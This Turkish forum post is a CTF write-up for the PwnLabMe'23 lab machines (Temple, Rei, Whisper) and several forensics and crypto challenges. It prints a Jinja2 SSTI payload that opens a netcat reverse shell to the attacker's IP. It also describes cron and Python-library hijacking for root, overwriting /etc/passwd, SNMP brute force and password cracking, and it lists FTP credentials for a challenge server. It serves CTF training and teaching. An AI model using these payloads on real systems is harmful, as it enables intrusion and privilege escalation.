PwnLabMe’23 CTF | Write-Up

PwnLab.Me

Admin
Katılım
21 Ocak 2024
Mesajlar
202
Tepkime puanı
9
Puanları
18
PwnLabMe’23 CTF | Write-Up
pwnlab.me

TEMPLE – REI – WHISPER MAKİNELERİ

Temple – Easy


İlk olarak işe hedef makinemizin IP adresini bularak başlıyoruz.

temple1.png


Çıktıya göre IP adresimizi belirliyoruz.

2qgkkia.png




Bulduğumuz IP Adresine Nmap Taraması yapıyoruz

temple4-300x51.png


Bu tarama sonrasında 22,80 ve 8089 portlarının açık olduğunu görüyoruz. Bizim için burada önemli olan port 8089 portu

8089 portu içerisinde bir Python serveri çalıştırıyor. Siteyi ziyaret ettiğimizde bizden bir adet input isteyen basit yapılandırılmış bir site görüyoruz

cywz78z.png


Python serveri olduğu için direkt olarak Python Flasktaki Jinja2 SSTI açığı aklıma geliyor ve input yerine ” {{7*7}} ” giriyorum.

mndssv7.png


Bu çıktı ile serverda bir SSTI açığı olduğunu anlıyorum ve direkt olarak aşşağıdaki komut ile reverse shell almayı deniyorum

{{request.application.__globals__.__builtins__.__import__('os').popen('nc -e /bin/bash 192.168.0.25 5566').read()}}
4kcwhya.png

Gerekli terminal işlemlerini yaptıktan sonra kararlı bir shell elde ediyorum ve sistemi manual olarak numaralandırıyorum elime bir şey geçmiyor ve cronjoblara bakmaya karar veriyorum bunun için pspy64’ü kali makinemi indirip hedef makineye aktarıyorum.
laubfjb.png

Pspy64’ü çalıştırdığımda karşıma yararlanabileceğim bir cronjob çıkıyor
35l36so.png

Bu cronjob her dakikada bir kere kullanici ID si 1000 olan kullanıcı (isabella) tarafından çalıştırılıyo ve benim bu dosyaya yazma yetkim var bu dosyayı bir reverse shell ile değiştirirsek isabella bu dosyayı çalıştırdığında bize shell’i düşecektir.
53v9nna.png

bir listener kurup 6677 portunu dinlediğimizde isabella olarak shell alacağız
6ra95d9.png

şimdi root olmak için tekrardan pspy64’ü kullanıyorum ve bu seferde farklı bir dosya dikkatimi çekiyor
a73293h.png

bu dosya ise root tarafından dakikada bir kere çalıştırılan bir python dosyası fakat bu dosyada bizim geçenki partta olduğu gibi yazma iznimiz yok kodu biraz incelediğimde içeriğininde bana bir katkı sağlamayacağını anladım ve belki kütüphaneler yazılabilir kütüphanelerdir diye find komutunu kullandım
m4x40ly.png

random kütüphanesi yazılabilir bir kütüphaneymiş bunu nano ile düzenleyip içerisine yazılabilecek bir python kodu ile root shell’i alabilirim
d6bxdsk.png

dosyayı kaydedip kapattıktan sonra /bin/bash’in suid bitinin değişmesini bekliyoruz. Bu program her dakikada bir çalışacak ve root yetkisiyle /bin/bash dosyasının SUID bitini aktif edecek.
p1yl0ti.png

şimdi yapılması gerekilen tek şey root shell’ini almak.
rkloink.png

Rei – Medium


Makinemizin ipsini netdiscover ile bulduktan sonra bir nmap taraması yapıyoruz

e7tey8t.png


nmap taramasının sonucunda 22,80 ve NFS servisinin (111,2049,40161,43300 etc.)açık olduğunu görüyoruz

nfs servisinde hangi dosyaların ve klasorun servis edildigini gormek icin

ktj8s39.png


bunun anlamı hedef makinemizdeki /opt/rei klasörü içerisindeki her dosyayı kendi bilgisayarımıza aktarabilirizdir.

aktarma işlemini gerçekleştirelim

f07bml2.png


aktarma isleminden sonra id_rsa dosyası (kime ait olduğunu bilmediğimiz) ve bir not dosyası var notu okuduğunuzda mm adlı bir kullanıcının kullanıcı adı isminden farklıymış

bunu bulmak icin port 80’i araştırıyorum ve orada garip bir kullanıcı ile karşılaşıyorum

k7w6wi0.png


not dosyasında yazan mm’nin bu olabileceğini fakat marry username’i ile sisteme ssh ile giriş yapmayı denediğimde girmemesinden dolayı farklı bir kullanıcı adı olduğunu anlıyorum ve bunun icin bi username generator kullanıyorum.

my09xgm.png


çıkan kullanıcı isimleri ile bir password spraying saldırısı gerçekleştiriyorum ama gerçekleştirmeden önce id_rsa dosyası üzerinde tam yetkiye sahip olmak için onu kendi bilgisayarımda olan bir dizine aktarmak istiyorum ve sonrasında iznini değiştirme yetkisine sahip oluyorum ve ssh’a id_rsa kimliği ile login olmak için iznini değiştiriyorum.

16qx8nw.png


şimdi sıra kullanıcı adını bulmada bunun için msfconsole da bir auxiliary modülünü kullanacağız.

bm4o1ml.png




gerekli ayarları yaptıktan sonra “run” yazarak taramayı başlatıyoruz ve kullanıcı adını başarıyla buluyoruz

qcj2jdq.png




Sisteme bu kullanıcı adı ve ilk başta bulduğumuz id_rsa dosyası ile giriş yapıyoruz

muorlm0.png


user flagini aldık sırada root flagini almak var bunun için basit şekilde ” sudo -l ” komutunu çalıştırıyoruz

root yetkisiyle terminator ve aynı sekilde root yetkisiyle xauth kullanmamıza izin verilmiş

bir shell içerisinde terminator çalıştırılmak istenirse ve eğer karşı makine bir GUI’a sahip değilse yapmamız gereken şey X11 Forwarding yapmak aksi takdirde ekran alamayız

ilk olarak m.may kullanıcısının terminator ekranını almaya çalışıyorum fakat alamıyorum çünki m.may kullanıcısı için halihazırda bir X11 Forwardingi yapılmamış

kmqmxms.png


bunu yapmak için ssh komutuna basitçe -X parametresini ekliyorum

lzgjqk7.png


bu sekilde artık X11 Forwardingi gerçekleştirmiş olduk ve artık terminator ekranını m.may kullanıcısı için alabiliyorum

peki şimdi “sudo terminator” çalıştırırsam kabul edecek mi gene hayır



el498qk.png


peki neden bu hatayı alıyoruz bunun sebebi bir kullanıcı iken başka bir kullanıcının (üst yetkide bir kullanıcının ) ekranını almak istiyorsak (terminator ile) bu durumda bir authentication sağlamamız gerekiyor bu authentication cookiler aracılığıyla yapılır ve bunu da ” xauth ” ile yapacağız

is1l983.png


bu komut girildikten sonra artık kendi cookiemizi (m.may) root ekranı alabilmek için authenticate ettik. ve artık sadece “sudo terminator” ile root ekranını alabiliriz
🙂


b3z4kl6.png


g86zw8i.png






Whisper – Hard




netdiscover ile makinemizin IP sini buluyoruz buldugumuz IP adresine bir nmap taraması yapıyoruz

8i9hs5o.png


taramanın sonucuna göre 21 ve 80 portlarının açık olduğunu görüyoruz 21(ftp) anonymous olarak login olabiliyoruz ve içerisinde bulunan Impossible.pdf dosyasını lokal makinemize indiriyoruz.

4d5hcjb.png


İndirme işleminden sonra pdf’i açmak istediğimizde şifre ile korunduğunu fark ediyoruz. Bunu pdf2john programı ile john için uygun bir format haline dönüştürüp john ile bu hashi kırıyoruz artık şifre elimizde ve pdf’te ne olduğunu görebiliriz.

cz958sx.png


bir şifre bulduk ama kullanıcı adına sahip değiliz . Bunun için port 80’i enumerate ediyoruz ama hiç bir sonuç alamıyoruz sonrasında

udp portlarını nmap ile check ediyoruz

98ttudo.png




snmp portunun açık olduğunu görüyoruz. SNMP’yi enumerate ediyoruz ve bir ağ cihazının istatistiklerinin tutulduğu “Community Strings” için (yani bir ağ cihazı istatistiklerine erişim için kullanılan kullanıcı adı ve parola gibi) bruteforce gerçekleştiriyoruz bunun için onesixtyone aracını kullanacağız

jwdr52b.png




bir tane “Community Strings” (cisco) elimize geçti ve bunu kullanarak farklı bilgiler edineceğiz

o9am84i.png




bu bölümde kullanıcı adı da (jonathanjacobo) elimize geçti artık sisteme giriş yapabiliriz ancak SSH portu (22) kapalı . Aslında kapalı değil ipv4 için kapalı ipv6’yı check ettiğimiz zaman SSH (22) portunun açık olduğunu görüyoruz

7e9gmn2.png


ipv6 adresimizi bulduktan sonra nmap taramasını gerçekleştirebiliriz.

1rowd70.png


ssh portu açık . Sisteme ipv6 ile giriş yapmamız gerekmekte.

rzgpzlq.png


jonathonjacobo kullanıcısından larsulrich kullanıcısına bir yetki yükseltme yapmak için ” sudo -l ” çalıştıyorum ve benden /tmp dizini altında belirli bir ismi olan jar dosyası çalıştırmamız bekleniyo burada java reverse shell kodu yazıp jar dosyasına dönüştürmemiz elbette beklenmiyor (İsteyenler yazıp dönüştürebilir
🙂
).

Hazır olarak Reverse_Shell.jar kullanacağız bu dosyayı indirip lokal makinemize kurduktan sonra artık hedef makinemize aktarabiliriz.

8ye3kix.png


99livb8.png


dosyamızın adı ve dizini larsulrich’in bize çalıştırmamız için yetki verdiği jar dosyasının ismiyle aynı olmalı aksi takdirde çalışmayacaktır. Kullandığımız jar dosyası bizden iki parametre isteyecektir bunlardan biri listener_ip diğer ise listener_port . Buraya lokal makinemizin IP adresini ve dinleyeceğimiz port numarasını yazacağız. Komutu Çalıştırmadan önce bir listener ile dinliyoruz

“nc -nvlp 443”

q1uesbc.png




yazılan komut sonrasında larsulrich kullanısının shell’ini almayı başarıyoruz

makinede root olmak için ” sudo -l ” komutu çalıştırıyoruz ve wuzz komutunu root yetkisiyle çalıştırabildiğimi görüyoruz.

“sudo wuzz” yazdığımda bir hata alıyoruz

efsm7or.png


daha iyi ve daha kararlı bir shell almak için larsulrich olarak giriş yapmamız gerekiyor ama şifresini bilmiyoruz bunun için ana makinemizde ve hedef makinemizde şu işlemleri yapıyoruz

4ne43ly.png


bu şekilde lokal makinemiz hedef makinemizin larsulrich kullanıcısı tarafından bilinen bir host olmuş oldu ve bu sayede artık hedef makineye şifresiz olarak giriş yapabileceğiz.

4w4o6z2.png




şimdi ” sudo wuzz ” komutunu çalıştırdığımızda

3do52kr.png


bunun bir GUI dosya indirme programı olduğunu anlıyoruz ve root yetkisiyle çalıştırabildiğimiz için /etc/passwd dosyasını değiştirme yetkisine de sahip oluyoruz

en başta hedef sistemin passwd dosyasını kopyalayıp lokal makinemize aktarıyoruz.

tgx31wv.png


sonrasında lokalde olan passwd dosyasının root şifresini opensslden aldığımız şifre ile değiştiriyoruz

ecyeofr.png


şifre olarak “pwnlab” verdik

whi21-300x217.png


değişiklikten sonra lokaldeki passwd dosyasını kaydedip kapatıyoruz. Şimdi bu dosyayı karşı makineye indirmek için bir python serveri kuruyoruz.

“python3 -m http.server 80″

hedef makinede tekrardan ” sudo wuzz ” çalıştırıyoruz ve URL kısmına “http://lokal_ip/passwd” yazdıktan sonra CTRL+s basıyoruz ve bu dosyayı /etc/passwd olarak hedef sisteme kaydediyoruz

whi22-300x174.png


tekrardan enter’a basıp kaydettikten sonra sadece

“su” yazıyoruz ve gelen şifre kısmına openssl de verdiğimiz şifreyi yani “pwnlab” ı giriyoruz.

whi23-300x93.png


FOTOĞRAF


Verilen Discord adresindeki #duyurular kanalına gidiyoruz. 10,20 mesaj üstte içerisinde Base64 ile şifrelenmiş bir metin var. Base64 olduğu bariz zaten.

piw38lu.png


4gs3p9u.png






Akabinde “https://www.base64decode.org/”dan decode ediyorum ve sunucu bilgisi ve 2 tane daha id-pass olabilecek kelimeler çıkıyor.

jbfvc2d.png






“159.89.8.112
cilgincocuk
erasmustangelenyamyam”

NMAP ile port taraması yapıyorum ve 21-22 portlarının açık olduğunu görüyorum.

onlfzxq.png


ftp 159.89.8.112 yazıp akabinde sırasıyla “cilgincocuk” ve “erasmustangelenyamyam” kelimelerini id-pass olarak giriyorum ve bingo! İçerideyiz.

“ls” çekip dosyaları kontrol ediyorum ve public_html olduğu görülüyor. cd public_html ile dizinin içine giriyorum.

howwvhd.png


hackerokan4458.rar ve severim.txt beni karşılıyor. RAR dosyası şifreli fakat severim.txt beni We’ll Rock You müzik linkine yönlendiriyor. En büyük hint bu aslında, “rockyou.txt” olabileceğini öngörmüş oluyorum ve Github üzerinden wordlisti indiriyorum.

i5pr9wu.png


Sonrasında “get dosyaadi” komutuyla 2 dosyayı da makineye çekiyorum. Geriye Bruteforce yapmak kaldı.

im5oeht.png


johntheripper ve hashcat araçlarını bruteforce saldırısı yapmak için kullanacağım. Öncelikle rar dosyası olduğu için “rar2 john hackerokan4458.rar > hash.txt” komutuyla hashcat için lazım olan dosyayı alıyorum ve brute’a hazır hale getirmek için dosyanın başındaki “hackerokan4458.rar:” kelimesini siliyorum.

rdqphvq.png




Geriye salt hashcat ile brute atmak kaldı. “hashcat -m 1300 -a 3 -i –increment-min=6 –increment-max=10 hash.txt rockyou.txt” ile saldırıyı başlatıyorum ve bingo! Şifremiz “backspacebackspace”. İlgili parametrelerin ne işe yaradığına hashcat –help komutuyla bakabilirsiniz.

s4g2514.png


RAR’ın içinde .raw uzantılı bir dosya çıktı, aklıma direkt “vovatility” aracı geliyor zira bu bir imaj dosyası. Vovatility, pythonla yazılan ve imaj dosyalarını incelemenize yarayan harikulade bir araç. Bana da kullanmayı öğreten Okan Kurtuluş hocama buradan selamlarımı iletiyorum
🙂
Dosyayı “unrar” aracıyla export edebilirsiniz. “unrar x hackerokan4458.rar”

gu35n3a.png




Peki, soru benden fotoğrafın adını istiyorsa o zaman burada processlerden ziyade imajdaki dosya isimlerini incelemem daha mantıklı olur. Bunun için “python vol.py -f “dizin/PWNLAB-D864404D-20231221-174918.raw” windows.filescan” komutuyla inceleme yapıyorum. -f parametresi burada .raw dosyasının hangi dizinde olduğunu belirtmenize yarıyor. “windows.filescan” ise imajda yer alan tüm dosya adlarını inciğine cıncığına kadar çıktı olarak veriyor.

Aracı çalıştırdım ve dosya isimleri inceliyorum, karşıma .jpg uzantılı tek bir dosya adı çıktı.

0x5ef9598 \Documents and Settings\Administrator\Desktop\IMG_20210816_200359.jpg //

7kg6sk8.png


Ve flag değerimiz “IMG_20210816_200359.jpg” olarak çıkıyor.

ÇOK KARIŞIK


Navajo Code İle Şifrelenmiştir

kr1-300x136.png


Decode Ettiğimiz Zaman Flag’a Ulaşıyoruz.

kr2-300x106.png


Flag: PwnlabMe{t3rihi_s3ver_mis3n}

BOZKIRIN TEZENESİ


Acere İle Kriptolanmış Müzik Notaları

kr4-300x101.png

Resimdeki Müzik Notaları Acere İle Kriptolanmıştı

kr3-300x195.png


Her Hangi Bir Acere Decoderda Bunları Görmektesiniz Ardından Sorudaki Notaları Girince Flagı Vermekte.

Flag: PwnlabMe{m3zige_ses_ver}

k3di


Resimi Aperi Solveye Atıyoruz, Resmin Renkleriyle Oynanmış Hallerinden Resimde Bir Hash Bulunmakta.

kr5-300x190.png


CyberChef’e Atıldıktan Sonra Yapıştırıyoruz Boşlukları Siliyoruz replace space to “a” yapıyoruz flag çıkıyor

PwnlabMe{s3n_n4rd5n_g6ld1in_b8ra9lara}

ÇANÇİNCON


morse.waw uzantılı bir dosya verilmiş. Ses dosyası olduğu için “Morse voice decoder” diye Google taraması yapıyoruz ve Buraya

dosyayı yüklüyoruz ve flag “CUMHURIYETIMIZINYUZUNCUYILIKUTLUOLSUN” olarak çıkıyor ve sorumuz çözülmüş oluyor.

————————————————————————————————————————————————–

Umarız çözerken keyif almışsınızdır. Aynı zamanda bu sorular vesilesiyle yeni bir şeyler öğrendiyseniz ne mutlu bize!

Team – PwnLab.Me

 
Geri
Üst